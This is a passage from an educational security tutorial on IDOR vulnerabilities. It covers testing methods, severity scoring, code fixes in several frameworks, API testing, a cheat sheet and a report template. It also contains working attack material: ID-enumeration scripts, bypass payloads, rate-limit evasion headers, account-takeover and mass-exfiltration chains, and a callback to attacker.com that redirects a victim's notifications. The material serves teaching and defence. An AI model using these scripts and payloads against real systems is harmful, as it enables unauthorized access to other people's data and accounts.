# Quick IDOR scan
for i in $(seq 1 100); do
    STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
        -H "Cookie: session=YOUR_SESSION_TOKEN" \
        "https://target.com/api/users/$i/profile")
    if [ "$STATUS" = "200" ]; then
        echo "[IDOR] User $i → 200 OK"
    fi
done
```

### 7.2 Testing Methodology — Step by Step

```
┌─────────────────────────────────────────────────────────┐
│           IDOR Testing Methodology                       │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  Phase 1: RECONNAISSANCE                               │
│  ├── Create 2+ accounts (different privilege levels)    │
│  ├── Map all endpoints (manual + automated)             │
│  ├── Identify all parameters containing IDs             │
│  ├── Document the ID format (int, UUID, encoded)        │
│  └── Check for API documentation (Swagger, OpenAPI)     │
│                                                         │
│  Phase 2: IDENTIFICATION                                │
│  ├── For each endpoint with an object reference:        │
│  │   ├── What object does this ID reference?            │
│  │   ├── What operation is performed? (CRUD)            │
│  │   ├── Where is the ID? (URL/param/body/header)       │
│  │   └── What data is returned/modified?                │
│  └── Prioritize by sensitivity of the data              │
│                                                         │
│  Phase 3: EXPLOITATION                                   │
│  ├── Horizontal: Use User A's session → User B's IDs   │
│  ├── Vertical: Use User session → Admin IDs             │
│  ├── Try all HTTP methods (GET/POST/PUT/DELETE)         │
│  ├── Test with modified, incremented, decremented IDs   │
│  └── Test with encoded/decoded variations               │
│                                                         │
│  Phase 4: VALIDATION                                    │
│  ├── Confirm data belongs to another user               │
│  ├── Verify the impact (read/write/delete)              │
│  ├── Document reproduction steps                        │
│  └── Assess severity and impact                         │
│                                                         │
│  Phase 5: REPORTING                                     │
│  ├── Clear title and description                        │
│  ├── Step-by-step reproduction                          │
│  ├── Screenshots / HTTP requests & responses            │
│  ├── Impact assessment                                  │
│  └── Remediation recommendations                        │
│                                                         │
└─────────────────────────────────────────────────────────┘
```

### 7.3 Advanced Testing Techniques

#### 7.3.1 Parameter Pollution

```http
# Original
GET /api/users/1001/profile

# Try parameter pollution
GET /api/users/1001/profile?user_id=1002
GET /api/users/1001/profile?id=1002
GET /api/users/1001,1002/profile
```

#### 7.3.2 HTTP Method Switching

```http
# If GET is blocked, try other methods
GET /api/users/1002/profile     → 403 Forbidden
POST /api/users/1002/profile    → 200 OK? (IDOR!)
PUT /api/users/1002/profile     → 200 OK?
PATCH /api/users/1002/profile   → 200 OK?
```

#### 7.3.3 Content-Type Switching

```http
# If JSON is blocked, try other formats
POST /api/users/1002 HTTP/1.1
Content-Type: application/xml

<user><id>1002</id></user>
```

#### 7.3.4 Encoded ID Manipulation

```bash
# If ID appears encoded:
# Base64: MTAwMg== → 1002
echo -n "1002" | base64        # MTAwMg==
echo -n "1003" | base64        # MTAwMw==

# Hex: 0x3EA → 1002
printf '%x\n' 1002             # 3ea
printf '%x\n' 1003             # 3eb

# URL encoding
echo -n "../../1002" | python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.stdin.read()))"
```

#### 7.3.5 Wrapping / Overflow IDs

```http
# If there are numeric bounds checks:
GET /api/users/1002         → 403
GET /api/users/01002        → 200? (leading zero bypass)
GET /api/users/1002.0       → 200? (float bypass)
GET /api/users/1002%00      → 200? (null byte)
GET /api/users/1002#        → 200? (fragment)
```

#### 7.3.6 JSON Body ID Injection

```http
# Add user_id to body even if not expected
POST /api/update-profile HTTP/1.1
Content-Type: application/json

{
    "name": "Attacker",
    "user_id": 1002          ← Injected parameter
}
```

#### 7.3.7 Wildcard / Array IDs

```http
GET /api/users/*/profile
GET /api/users/[1,2,3]/profile

# Array in body
POST /api/users/batch HTTP/1.1
{"user_ids": [1001, 1002, 1003, 1004]}
```

***

## Chapter 8: Impact & Risk Assessment

### 8.1 Impact Categories

#### Confidentiality Impact

| Data Type Exposed                            | Severity |
| -------------------------------------------- | -------- |
| Personally Identifiable Information (PII)    | High     |
| Financial data (bank accounts, transactions) | Critical |
| Medical/Health records                       | Critical |
| Authentication credentials                   | Critical |
| Private communications                       | High     |
| Business trade secrets                       | Critical |
| Generic user preferences                     | Low      |

#### Integrity Impact

| Action                                     | Severity    |
| ------------------------------------------ | ----------- |
| Modify another user's profile              | High        |
| Change another user's password             | Critical    |
| Alter financial records                    | Critical    |
| Modify medical records                     | Critical    |
| Inject content into another user's account | Medium–High |

#### Availability Impact

| Action                        | Severity    |
| ----------------------------- | ----------- |
| Delete another user's account | Critical    |
| Delete another user's data    | High        |
| Lock another user out         | High        |
| Delete shared resources       | Medium–High |

### 8.2 CVSS Scoring for IDOR

```
Typical CVSS v3.1 Vector for IDOR:

Read-only IDOR (view profile):
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5 (Medium)

Read sensitive data (financial, medical):
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5 (Medium)
(Can be higher with regulatory impact)

Write IDOR (modify data):
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5 (Medium)

Read + Write IDOR:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 8.1 (High)

Full CRUD on any user's data:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (High)

Account Takeover via IDOR:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 (Critical)

Unauthenticated IDOR:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 (Critical)
```

### 8.3 Business Impact

```
┌────────────────────────────────────────────────────────┐
│                IDOR Business Impact                     │
├────────────────────────────────────────────────────────┤
│                                                        │
│  💰 Financial Impact                                   │
│  ├── Direct theft (fund transfer IDOR)                │
│  ├── Regulatory fines (GDPR, HIPAA, PCI-DSS)         │
│  │   ├── GDPR: Up to €20M or 4% of annual revenue    │
│  │   ├── HIPAA: Up to $1.5M per violation category    │
│  │   └── PCI-DSS: $5,000–$100,000 per month          │
│  ├── Lawsuit settlements                              │
│  └── Remediation costs                                │
│                                                        │
│  📉 Reputational Impact                               │
│  ├── Loss of customer trust                           │
│  ├── Negative media coverage                          │
│  ├── Stock price decline                              │
│  └── Customer churn                                   │
│                                                        │
│  ⚖️ Legal/Compliance Impact                           │
│  ├── Breach notification requirements                 │
│  ├── Regulatory investigations                        │
│  ├── Class-action lawsuits                            │
│  └── Executive liability                              │
│                                                        │
│  🔧 Operational Impact                                │
│  ├── Incident response costs                          │
│  ├── System downtime for patching                     │
│  ├── Security audit requirements                      │
│  └── Development rework                               │
│                                                        │
└────────────────────────────────────────────────────────┘
```

### 8.4 Severity Rating Guide for Students

```
CRITICAL:
- Unauthenticated IDOR exposing sensitive data at scale
- Account takeover via IDOR
- Financial transaction manipulation
- Medical record access/modification

HIGH:
- Authenticated IDOR to PII (SSN, financial data)
- Write/Delete IDOR affecting other users' data
- Privilege escalation via IDOR
- Bulk data extraction

MEDIUM:
- IDOR exposing non-sensitive user data
- IDOR with limited impact (preferences, settings)
- IDOR requiring complex conditions

LOW:
- IDOR exposing public or semi-public information
- IDOR with no meaningful data exposure
- IDOR on deprecated/non-production endpoints
```

***

## Chapter 9: Prevention & Mitigation

### 9.1 The Golden Rule

> **NEVER trust user input for authorization decisions. ALWAYS verify that the authenticated user is authorized to access the requested resource on the server side.**

### 9.2 Fix Strategy 1: Server-Side Authorization Checks

#### Python Flask — Fixed Version

```python
# ✅ SECURE CODE
@app.route('/api/users/<int:user_id>/profile', methods=['GET'])
@login_required
def get_profile(user_id):
    # CHECK: Does the logged-in user own this profile?
    if session['user_id'] != user_id and session['role'] != 'admin':
        return jsonify({'error': 'Forbidden'}), 403
    
    user = db.query(User).filter(User.id == user_id).first()
    if user:
        return jsonify({
            'id': user.id,
            'name': user.name,
            'email': user.email
            # Note: SSN removed from response entirely
        })
    return jsonify({'error': 'Not found'}), 404
```

#### Node.js Express — Fixed Version

```javascript
// ✅ SECURE CODE
app.get('/api/orders/:orderId', authenticateToken, async (req, res) => {
    const orderId = req.params.orderId;
    const userId = req.user.id; // From JWT/session
    
    // Query includes ownership check
    const order = await db.query(
        'SELECT * FROM orders WHERE id = ? AND user_id = ?',
        [orderId, userId]
    );
    
    if (order.length === 0) {
        return res.status(404).json({ error: 'Order not found' });
        // Returns 404 instead of 403 to avoid information disclosure
    }
    
    res.json(order[0]);
});
```

#### Java Spring Boot — Fixed Version

```java
// ✅ SECURE CODE
@RestController
@RequestMapping("/api")
public class AccountController {

    @GetMapping("/accounts/{accountId}")
    public ResponseEntity<Account> getAccount(
            @PathVariable Long accountId,
            @AuthenticationPrincipal UserDetails userDetails) {
        
        Account account = accountRepository.findById(accountId)
            .orElseThrow(() -> new ResourceNotFoundException("Account not found"));
        
        // AUTHORIZATION CHECK
        if (!account.getUserId().equals(userDetails.getUserId()) 
            && !userDetails.hasRole("ADMIN")) {
            throw new AccessDeniedException("You do not have access to this account");
        }
        
        return ResponseEntity.ok(account);
    }
}
```

#### PHP — Fixed Version

```php
<?php
// ✅ SECURE CODE
session_start();
if (!isset($_SESSION['user_id'])) {
    http_response_code(401);
    exit('Unauthorized');
}

$document_id = $_GET['doc_id'];
$current_user_id = $_SESSION['user_id'];

// Query includes ownership check
$stmt = $pdo->prepare("SELECT * FROM documents WHERE id = ? AND user_id = ?");
$stmt->execute([$document_id, $current_user_id]);
$document = $stmt->fetch();

if (!$document) {
    http_response_code(404);
    exit('Document not found');
}

header('Content-Type: application/pdf');
readfile($document['file_path']);
?>
```

### 9.3 Fix Strategy 2: Indirect Object References

Instead of exposing database IDs, use **mapped references** that are user-specific.

```python
# ✅ Indirect Object Reference Map
class IndirectReferenceMap:
    def __init__(self):
        self.maps = {}  # {user_id: {random_token: real_id}}
    
    def create_reference(self, user_id, real_id):
        import secrets
        token = secrets.token_urlsafe(16)
        if user_id not in self.maps:
            self.maps[user_id] = {}
        self.maps[user_id][token] = real_id
        return token
    
    def resolve_reference(self, user_id, token):
        user_map = self.maps.get(user_id, {})
        return user_map.get(token)  # Returns None if not found

# Usage
ref_map = IndirectReferenceMap()

# When showing a list of orders to User A:
@app.route('/api/my-orders', methods=['GET'])
@login_required
def list_orders():
    user_id = session['user_id']
    orders = db.query(Order).filter(Order.user_id == user_id).all()
    
    result = []
    for order in orders:
        # Create indirect reference for each order
        ref = ref_map.create_reference(user_id, order.id)
        result.append({
            'ref': ref,  # Random token instead of real ID
            'product': order.product,
            'amount': order.amount
        })
    return jsonify(result)

# When accessing a specific order:
@app.route('/api/orders/<string:order_ref>', methods=['GET'])
@login_required
def get_order(order_ref):
    user_id = session['user_id']
    
    # Resolve indirect reference — automatically scoped to user
    real_order_id = ref_map.resolve_reference(user_id, order_ref)
    if real_order_id is None:
        return jsonify({'error': 'Order not found'}), 404
    
    order = db.query(Order).filter(Order.id == real_order_id).first()
    return jsonify(order.to_dict())
```

```
Instead of: GET /api/orders/5001
User sees:  GET /api/orders/a8Kx9mPq2wL3nR7y

The token "a8Kx9mPq2wL3nR7y" only maps to order 5001 for User A.
If User B uses the same token, it resolves to nothing.
```

### 9.4 Fix Strategy 3: Use Session-Based Queries (No User Input for Ownership)

```python
# ✅ BEST PRACTICE: Don't use user-supplied IDs for ownership
@app.route('/api/my-profile', methods=['GET'])
@login_required
def get_my_profile():
    # Get user_id from SERVER-SIDE session, NOT from request
    user_id = session['user_id']
    user = db.query(User).filter(User.id == user_id).first()
    return jsonify(user.to_safe_dict())

# Instead of: GET /api/users/1002/profile
# Use:        GET /api/my-profile
# The user can't manipulate which profile they see!
```

### 9.5 Fix Strategy 4: Middleware / Decorator Pattern

```python
# ✅ Reusable authorization decorator
from functools import wraps

def owns_resource(resource_model, id_param='id', owner_field='user_id'):
    """Decorator that checks resource ownership before allowing access."""
    def decorator(f):
        @wraps(f)
        def decorated_function(*args, **kwargs):
            resource_id = kwargs.get(id_param) or request.args.get(id_param)
            
            resource = db.query(resource_model).filter(
                resource_model.id == resource_id
            ).first()
            
            if not resource:
                return jsonify({'error': 'Not found'}), 404
            
            if getattr(resource, owner_field) != session['user_id']:
                if session.get('role') != 'admin':
                    return jsonify({'error': 'Forbidden'}), 403
            
            kwargs['resource'] = resource
            return f(*args, **kwargs)
        return decorated_function
    return decorator

# Usage — clean and reusable!
@app.route('/api/orders/<int:id>', methods=['GET'])
@login_required
@owns_resource(Order, id_param='id', owner_field='user_id')
def get_order(id, resource=None):
    return jsonify(resource.to_dict())

@app.route('/api/documents/<int:id>', methods=['GET'])
@login_required
@owns_resource(Document, id_param='id', owner_field='user_id')
def get_document(id, resource=None):
    return jsonify(resource.to_dict())
```

### 9.6 Fix Strategy 5: Row-Level Security (Database Level)

#### PostgreSQL Row-Level Security

```sql
-- Enable RLS on the orders table
ALTER TABLE orders ENABLE ROW LEVEL SECURITY;

-- Create policy: users can only see their own orders
CREATE POLICY user_orders_policy ON orders
    FOR ALL
    USING (user_id = current_setting('app.current_user_id')::integer);

-- In application code, set the user context before queries
SET app.current_user_id = '1001';
SELECT * FROM orders WHERE id = 5002;
-- PostgreSQL automatically adds: AND user_id = 1001
-- Even if order 5002 belongs to user 1002, it returns nothing
```

### 9.7 Fix Strategy 6: Framework-Level Solutions

#### Django (Python) — Queryset Filtering

```python
# ✅ Django automatically scopes queries
class OrderViewSet(viewsets.ModelViewSet):
    serializer_class = OrderSerializer
    permission_classes = [IsAuthenticated]
    
    def get_queryset(self):
        # Only return orders belonging to the current user
        return Order.objects.filter(user=self.request.user)
    
    # GET /api/orders/5002 → Automatically 404 if not yours
```

#### Laravel (PHP) — Policies

```php
// ✅ Laravel Policy
class OrderPolicy
{
    public function view(User $user, Order $order)
    {
        return $user->id === $order->user_id;
    }
    
    public function update(User $user, Order $order)
    {
        return $user->id === $order->user_id;
    }
    
    public function delete(User $user, Order $order)
    {
        return $user->id === $order->user_id;
    }
}

// In controller
public function show(Order $order)
{
    $this->authorize('view', $order);
    return response()->json($order);
}
```

#### Spring Security (Java) — @PreAuthorize

```java
// ✅ Spring Security method-level authorization
@RestController
public class OrderController {
    
    @GetMapping("/orders/{id}")
    @PreAuthorize("@orderSecurity.isOwner(authentication, #id)")
    public Order getOrder(@PathVariable Long id) {
        return orderRepository.findById(id).orElseThrow();
    }
}

@Component
public class OrderSecurity {
    public boolean isOwner(Authentication auth, Long orderId) {
        Order order = orderRepository.findById(orderId).orElse(null);
        if (order == null) return false;
        return order.getUserId().equals(((UserPrincipal) auth.getPrincipal()).getId());
    }
}
```

### 9.8 Comprehensive Prevention Checklist

```
✅ IDOR Prevention Checklist
═══════════════════════════════════════════════════════

SERVER-SIDE CONTROLS:
□ Every endpoint with object references has authorization checks
□ Authorization is checked on EVERY request (not cached client-side)
□ Ownership is verified against server-side session/token
□ Queries are scoped to the current user (WHERE user_id = ?)
□ Framework-level authorization policies are implemented
□ Row-level security is enabled at database level (if applicable)
□ Admin-only endpoints have role checks

INPUT HANDLING:
□ User-supplied IDs are validated and sanitized
□ Indirect object references are used where possible
□ Sequential/predictable IDs are avoided (use UUIDs as defense-in-depth)
□ Encoded IDs are not relied upon for security

RESPONSE HANDLING:
□ Error responses don't reveal resource existence (404 vs 403)
□ Sensitive fields are removed from API responses
□ Response data is filtered based on user permissions

TESTING:
□ Automated IDOR tests in CI/CD pipeline
□ Regular penetration testing includes IDOR checks
□ Code review checklist includes authorization verification
□ Two-account testing is performed for all new features

LOGGING & MONITORING:
□ Failed authorization attempts are logged
□ Unusual access patterns are alerted on
□ Bulk enumeration attempts are detected and blocked
□ Rate limiting is applied to sensitive endpoints

ARCHITECTURE:
□ Authorization logic is centralized (not duplicated)
□ Default-deny access control (whitelist, not blacklist)
□ Separation of concerns (auth logic separate from business logic)
□ API gateway enforces access control policies
```

***

## Chapter 10: Advanced IDOR Techniques

### 10.1 Bypassing Common Defenses

#### 10.1.1 UUID Prediction (UUID v1)

```python
# UUID v1 is time-based and partially predictable
import uuid
from datetime import datetime

# If you know approximately when a resource was created:
# UUID v1 format: time_low-time_mid-time_hi_and_version-clock_seq-node

# Example: Generate UUIDs around a known timestamp
known_uuid = uuid.UUID("6ba7b810-9dad-11d1-80b4-00c04fd430c8")

# Extract timestamp from UUID v1
timestamp = (known_uuid.time - 0x01b21dd213814000) / 1e7
print(f"UUID was created at: {datetime.fromtimestamp(timestamp)}")

# Generate candidate UUIDs around that timestamp
# (This is a simplified example)
import time
base_time = int(time.time() * 1e7) + 0x01b21dd213814000
for offset in range(-1000, 1000):
    candidate_time = base_time + offset
    # Construct candidate UUID...
```

#### 10.1.2 Bypassing UUID with Information Leaks

```
Sources where UUIDs can leak:
├── URL in browser history / referrer headers
├── Email links (password reset, verification)
├── API responses that list resources
├── JavaScript source code / comments
├── Error messages / stack traces
├── Log files accessible via LFI
├── Webhook payloads
├── Mobile app traffic
├── PDF metadata / export files
├── S3 bucket listings
└── Public GitHub repositories
```

#### 10.1.3 Bypassing Rate Limiting

```python
# Technique 1: IP Rotation
import requests
proxies_list = [
    "http://proxy1:8080",
    "http://proxy2:8080",
    # ...
]

# Technique 2: Distribute across endpoints
# Instead of:  GET /api/users/1 through /api/users/10000
# Try:         Mix with legitimate requests, slow down, vary timing

# Technique 3: Header manipulation
headers_variations = [
    {"X-Forwarded-For": "10.0.0.1"},
    {"X-Real-IP": "10.0.0.2"},
    {"X-Originating-IP": "10.0.0.3"},
    {"X-Client-IP": "10.0.0.4"},
]
```

#### 10.1.4 Bypassing Front-End Validation

```javascript
// The application might hide the ID field in the UI
// but still send it in the API request

// Original request (captured in Burp):
// POST /api/update-profile
// {"name": "Alice", "bio": "Hello!"}

// Try adding hidden parameters:
// POST /api/update-profile
// {"name": "Alice", "bio": "Hello!", "user_id": 1002}

// The server might process user_id even though the UI doesn't show it
```

#### 10.1.5 IDOR via State Manipulation

```http
# Step 1: Start a legitimate flow for your resource
POST /api/orders/1001/refund HTTP/1.1
{"reason": "defective"}
# Response: {"refund_token": "abc123", "step": "confirm"}

# Step 2: Change the order ID while keeping the refund token
POST /api/orders/1002/refund/confirm HTTP/1.1
{"refund_token": "abc123"}
# The system might process the refund for order 1002 using the valid token
```

#### 10.1.6 Second-Order IDOR

```http
# Step 1: Set up a webhook/callback with a victim's ID
POST /api/notifications/setup HTTP/1.1
{"callback_url": "https://attacker.com/hook", "user_id": 1002}

# Step 2: Wait for the system to send victim's notifications to your server
# The IDOR is exploited indirectly through a secondary system
```

### 10.2 IDOR Chain Attacks

#### IDOR → Account Takeover

```
Step 1: IDOR to read user's email      → GET /api/users/1002/profile → email
Step 2: Password reset for that email   → POST /api/password-reset → {email: victim@email.com}
Step 3: IDOR to read reset token        → GET /api/users/1002/reset-token
Step 4: Use token to reset password     → POST /api/password-change → {token: xxx, password: new}
Step 5: Login as victim                 → Full account takeover
```

#### IDOR → Privilege Escalation → Full System Compromise

```
Step 1: IDOR to read admin user ID      → GET /api/users/1 → {"role": "admin"}
Step 2: IDOR to read admin's API key    → GET /api/users/1/api-keys
Step 3: Use admin API key               → Full admin access
Step 4: Create backdoor admin account   → POST /api/admin/users
```

#### IDOR → Data Exfiltration at Scale

```
Step 1: IDOR on user listing            → GET /api/users/{1..100000}
Step 2: IDOR on each user's documents   → GET /api/users/{id}/documents
Step 3: IDOR on document download       → GET /api/documents/{id}/download
Result: Complete database exfiltration
```

### 10.3 IDOR in Modern Architectures

#### Microservices

```
┌──────────────┐     ┌──────────────┐     ┌──────────────┐
│  API Gateway │────>│ User Service │────>│ Order Service │
│  (Auth ✅)   │     │ (AuthZ ???)  │     │ (AuthZ ???)   │
└──────────────┘     └──────────────┘     └──────────────┘

Problem: API Gateway authenticates, but individual services
may not perform authorization checks.

Each microservice MUST validate authorization independently.
```

#### Serverless / Lambda

```python
# AWS Lambda — Common IDOR pattern
def handler(event, context):
    user_id = event['pathParameters']['userId']  # From URL
    
    # ❌ No check against the authenticated user from the JWT
    response = table.get_item(Key={'userId': user_id})
    return {'statusCode': 200, 'body': json.dumps(response['Item'])}

# ✅ Fix
def handler(event, context):
    claims = event['requestContext']['authorizer']['claims']
    authenticated_user = claims['sub']  # From Cognito JWT
    
    requested_user = event['pathParameters']['userId']
    
    if authenticated_user != requested_user:
        return {'statusCode': 403, 'body': 'Forbidden'}
    
    response = table.get_item(Key={'userId': requested_user})
    return {'statusCode': 200, 'body': json.dumps(response['Item'])}
```

***

## Chapter 11: IDOR in APIs

### 11.1 REST API IDOR

#### Common Patterns

```http
# Resource-based URLs — each is an IDOR candidate
GET    /api/v1/users/{userId}
GET    /api/v1/users/{userId}/orders
GET    /api/v1/users/{userId}/orders/{orderId}
PUT    /api/v1/users/{userId}/settings
DELETE /api/v1/users/{userId}/cards/{cardId}

# Nested resources — check at every level
GET /api/v1/organizations/{orgId}/teams/{teamId}/members/{memberId}
# Can you access:
# - Another organization?
# - Another team within your org?
# - Another member within your team?
```

#### Testing REST APIs

```bash
# Test with different auth tokens
# Token A = regular user, Token B = different regular user

# Test horizontal access
curl -H "Authorization: Bearer TOKEN_A" \
     https://api.example.com/v1/users/USER_B_ID/profile

# Test vertical access
curl -H "Authorization: Bearer TOKEN_A" \
     https://api.example.com/v1/admin/dashboard

# Test write operations
curl -X PUT \
     -H "Authorization: Bearer TOKEN_A" \
     -H "Content-Type: application/json" \
     -d '{"email":"attacker@evil.com"}' \
     https://api.example.com/v1/users/USER_B_ID/email
```

### 11.2 GraphQL IDOR

#### Vulnerable GraphQL Queries

```graphql
# Direct object access
query {
    user(id: "1002") {
        name
        email
        socialSecurityNumber
        bankAccounts {
            accountNumber
            balance
        }
    }
}

# Nested access
query {
    organization(id: "org-002") {
        name
        employees {
            name
            salary
            personalEmail
        }
        financialReports {
            quarter
            revenue
            profit
        }
    }
}

# Mutations (write-based IDOR)
mutation {
    updateUser(id: "1002", input: {
        email: "attacker@evil.com"
        role: ADMIN
    }) {
        id
        email
        role
    }
}

# Batch queries (mass IDOR)
query {
    user1: user(id: "1") { name email ssn }
    user2: user(id: "2") { name email ssn }
    user3: user(id: "3") { name email ssn }
    # ... up to hundreds in a single request
}
```

#### GraphQL IDOR via Introspection

```graphql
# Step 1: Discover schema
query {
    __schema {
        types {
            name
            fields {
                name
                type { name }
            }
        }
    }
}

# Step 2: Find sensitive types and their query paths
# Step 3: Craft IDOR queries targeting discovered fields
```

#### Testing GraphQL for IDOR

```python
import requests

url = "https://api.example.com/graphql"
headers = {
    "Authorization": "Bearer ATTACKER_TOKEN",
    "Content-Type": "application/json"
}

# Enumerate users
for user_id in range(1, 100):
    query = f'''
    query {{
        user(id: "{user_id}") {{
            id
            name
            email
            role
        }}
    }}
    '''
    resp = requests.post(url, headers=headers, json={"query": query})
    data = resp.json()
    
    if data.get('data', {}).get('user'):
        user = data['data']['user']
        print(f"[IDOR] User {user_id}: {user['name']} - {user['email']} - {user['role']}")
```

### 11.3 gRPC IDOR

```protobuf
// Proto definition
service UserService {
    rpc GetUser(GetUserRequest) returns (UserResponse);
    rpc UpdateUser(UpdateUserRequest) returns (UserResponse);
}

message GetUserRequest {
    int32 user_id = 1;  // User-controlled — IDOR candidate
}
```

```python
# Testing gRPC IDOR
import grpc
import user_pb2
import user_pb2_grpc

channel = grpc.insecure_channel('target:50051')
stub = user_pb2_grpc.UserServiceStub(channel)

# Set attacker's auth metadata
metadata = [('authorization', 'Bearer ATTACKER_TOKEN')]

# Try to access other users
for user_id in range(1, 100):
    request = user_pb2.GetUserRequest(user_id=user_id)
    try:
        response = stub.GetUser(request, metadata=metadata)
        print(f"[IDOR] User {user_id}: {response.name} - {response.email}")
    except grpc.RpcError as e:
        if e.code() == grpc.StatusCode.PERMISSION_DENIED:
            print(f"[SAFE] User {user_id}: Access denied")
```

### 11.4 WebSocket IDOR

```javascript
// WebSocket IDOR Example
const ws = new WebSocket('wss://api.example.com/ws');

ws.onopen = () => {
    // Subscribe to another user's notification channel
    ws.send(JSON.stringify({
        action: "subscribe",
        channel: "user_1002_notifications"  // Not your user!
    }));
    
    // Request another user's real-time data
    ws.send(JSON.stringify({
        action: "get_live_data",
        user_id: 1002  // IDOR in WebSocket message
    }));
};

ws.onmessage = (event) => {
    console.log("Received:", JSON.parse(event.data));
    // Might receive another user's real-time notifications!
};
```

### 11.5 API IDOR Testing Checklist

```
□ Identify all API endpoints from documentation (Swagger/OpenAPI)
□ Identify all endpoints from traffic analysis
□ For each endpoint:
  □ Identify object references in URL, query, body, headers
  □ Test horizontal access (same-level user)
  □ Test vertical access (lower-level → higher-level)
  □ Test all HTTP methods (GET, POST, PUT, PATCH, DELETE)
  □ Test batch/bulk endpoints
  □ Test nested resource access
  □ Test export/download endpoints
  □ Test webhook/callback registration
□ For GraphQL:
  □ Run introspection query
  □ Test all queries with modified IDs
  □ Test mutations with other users' IDs
  □ Test batch queries
  □ Test nested resolvers
□ For WebSocket:
  □ Test channel subscription with other user IDs
  □ Test message-level IDOR
□ Document all findings with request/response pairs
```

***

## Chapter 12: Cheat Sheet & Quick Reference

### 12.1 IDOR At a Glance

```
╔══════════════════════════════════════════════════════════╗
║                 IDOR CHEAT SHEET                         ║
╠══════════════════════════════════════════════════════════╣
║                                                          ║
║  WHAT: Access control vulnerability where user input     ║
║        directly references objects without authz check   ║
║                                                          ║
║  WHERE: Any parameter containing an object identifier    ║
║        → URL path, query params, request body,           ║
║          headers, cookies, WebSocket messages             ║
║                                                          ║
║  HOW TO TEST:                                            ║
║  1. Create two accounts (A and B)                        ║
║  2. Login as A, capture B's resource IDs                 ║
║  3. Use A's session to request B's resources             ║
║  4. If B's data is returned → IDOR confirmed             ║
║                                                          ║
║  IMPACT: Data theft, data modification, data deletion,   ║
║          privilege escalation, account takeover           ║
║                                                          ║
║  FIX: Server-side authorization checks on EVERY request  ║
║       Scope queries to authenticated user                ║
║       Use indirect object references                     ║
║       Implement framework-level access control           ║
║                                                          ║
╚══════════════════════════════════════════════════════════╝
```

### 12.2 Parameter Locations to Check

```
┌─ URL Path ──────── /api/users/1002/profile
├─ Query String ──── /api/profile?user_id=1002
├─ POST Body ─────── {"user_id": 1002, "action": "view"}
├─ PUT Body ──────── {"target_user": 1002, "role": "admin"}
├─ Headers ───────── X-User-ID: 1002
├─ Cookies ───────── user_id=1002; session=abc123
├─ Multipart ─────── Content-Disposition: name="userId" → 1002
├─ GraphQL ───────── query { user(id: 1002) { ... } }
├─ WebSocket ─────── {"channel": "user_1002"}
├─ SOAP/XML ──────── <userId>1002</userId>
└─ File Path ─────── /download?file=user_1002/report.pdf
```

### 12.3 ID Format Transformations to Try

```
Original ID: 1002

Integer:         1002
String:          "1002"
Float:           1002.0
Hex:             0x3EA
Octal:           01752
Binary:          1111101010
Base64:          MTAwMg==
URL Encoded:     1002 → 1002 (or %31%30%30%32)
Double URL:      %2531%2530%2530%2532
Unicode:         \u0031\u0030\u0030\u0032
Leading Zeros:   01002, 001002
Negative:        -1002
Max Int:         2147483647
Array:           [1002]
Object:          {"id": 1002}
Wildcard:        *
Null:            null, None, nil
Empty:           "" (empty string)
```

### 12.4 HTTP Method Testing Matrix

```
For each IDOR endpoint, test:

┌──────────┬────────────┬──────────────────────────────┐
│ Method   │ Operation  │ Test                         │
├──────────┼────────────┼──────────────────────────────┤
│ GET      │ Read       │ View another user's data     │
│ POST     │ Create     │ Create in another user's ctx │
│ PUT      │ Replace    │ Replace another's resource   │
│ PATCH    │ Modify     │ Partially modify another's   │
│ DELETE   │ Delete     │ Delete another's resource    │
│ HEAD     │ Check      │ Confirm existence            │
│ OPTIONS  │ Discover   │ Find allowed methods         │
└──────────┴────────────┴──────────────────────────────┘
```

### 12.5 Quick Response Analysis

```
Response Code Analysis:
───────────────────────
200 OK + Other's data     → 🔴 IDOR CONFIRMED
200 OK + Your own data    → 🟡 Server rewrites ID (partial fix)
200 OK + Empty data       → 🟡 Might be filtered server-side
201 Created               → 🔴 Write IDOR (created in other's context)
204 No Content            → 🔴 Delete/Update IDOR (action performed)
301/302 Redirect          → 🟡 Check redirect destination
400 Bad Request           → 🟢 Input validation (but check bypass)
401 Unauthorized          → 🟡 Auth check (not authz — retest with valid session)
403 Forbidden             → 🟢 Authorization check exists
404 Not Found             → 🟡 Could be authz (returning 404 instead of 403)
500 Internal Server Error → 🟡 Might indicate processing your request
```

### 12.6 Reporting Template

````markdown
# IDOR Vulnerability Report

## Title
Insecure Direct Object Reference in [Endpoint] allows [Action] on other users' [Resource]

## Severity
[Critical / High / Medium / Low] — CVSS Score: X.X

## Description
The endpoint `[METHOD] [URL]` does not verify that the authenticated user
is authorized to access the requested [resource type]. An attacker can 
[describe action] by modifying the `[parameter name]` parameter.

## Steps to Reproduce
1. Create two accounts: Attacker (User A) and Victim (User B)
2. Login as User A and obtain session token
3. Note User B's [resource] ID: [ID value]
4. Send the following request with User A's session:

```http
[Full HTTP Request]
````

5. Observe that User B's \[resource] data is returned:

```http
[Full HTTP Response]
```

### Impact

* An attacker can \[read/modify/delete] any user's \[resource type]
* Affected data includes: \[list sensitive fields]
* Estimated number of affected users: \[X]
* Regulatory implications: \[GDPR/HIPAA/PCI-DSS if applicable]

### Remediation

1. Implement server-side authorization check: Verify that `session.user_id == resource.owner_id` before granting access
2. Scope database queries to the authenticated user: `WHERE id = ? AND user_id = ?`
3. Return consistent error responses (404) to prevent enumeration

### References

* OWASP: <https://owasp.org/Top10/A01\\_2021-Broken\\_Access\\_Control/>
* CWE-639: <https://cwe.mitre.org/data/definitions/639.html>

````

---

# Chapter 13: Assessment & Quiz for Students

## 13.1 Multiple Choice Questions

**Q1.** What does IDOR stand for?
- A) Indirect Document Object Retrieval
- B) Insecure Direct Object Reference ✅
- C) Internal Data Object Redirect
- D) Insecure Database Object Request

**Q2.** IDOR is classified under which OWASP Top 10 (2021) category?
